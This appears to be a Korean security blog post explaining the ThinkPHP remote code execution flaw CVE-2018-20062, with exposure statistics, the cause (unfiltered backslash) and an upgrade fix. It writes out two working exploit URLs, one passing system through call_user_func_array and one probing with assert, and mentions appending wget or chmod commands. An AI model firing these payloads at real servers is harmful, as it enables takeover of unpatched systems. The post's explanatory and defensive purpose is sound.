주의: 본 공격구문을 실제 웹 서버에 공격하여서 발생한 모든 결과는 본인이 책임져야 합니다.

ThinkPHP

  • 중국 TopThink에서 개발한 php 기반 웹 어플리케이션 프레임워크
  • Apache2 기반으로 만들어졌으며, 중국 내에서는 빠른 프로젝트 개발 진행이 가능했기에 인기가 많았다.
  • Shodan 결과에 의하면 2023/6/23 기준으로 약 32,269개 이상 활성화 되어있다. 아시아 지역에서 많이 사용되어지고 있다.
  • 사진 2를 참고하면 활성화 된 국가의  Top 10 List 를 확인할 수 있다. (한국은 127개)

사진 1
사진 2

 

 

이러한 ThinkPHP에는 원격코드 실행 취약점이 존재한다. (CVE-2018-20062)

 


Payload

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars [1][]= command

Payload 가 실행되는 이유는 '\' 문자가 필터링 되지 않기 때문이다.

 

적절한 (입력 검증) 필터링 부재로 인해 \think\app은 class로, invokefunction은 Method로 동작하게 되는 것이다.

 

 

공격구문

/index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=print md5('chaonan')&vars[1][]=
  • Payload 코드 뒤, wget이나 chmod, shell 등의 시스템 제어를 할 수 있는 명령어들을 이용하여 해커가 원하는 공격을 수행할 수 있게 된다.

 

대응방안

  • 해당 공격을 대응하기 위해서는 ThinkPHP 버전을 5.0.23 혹은 5.1.31 으로 업그레이드 하는 것을 권장한다.
  • PHP 업데이트로 '\' 필터링을 확인하는 정규식이 추가되었다. (적절한 입력 검증)

ThinkPHP 취약점은 웹 어플리케이션 공격으로 여전히 사용되고 있으니 잘 대응하시기 바랍니다.

+ Recent posts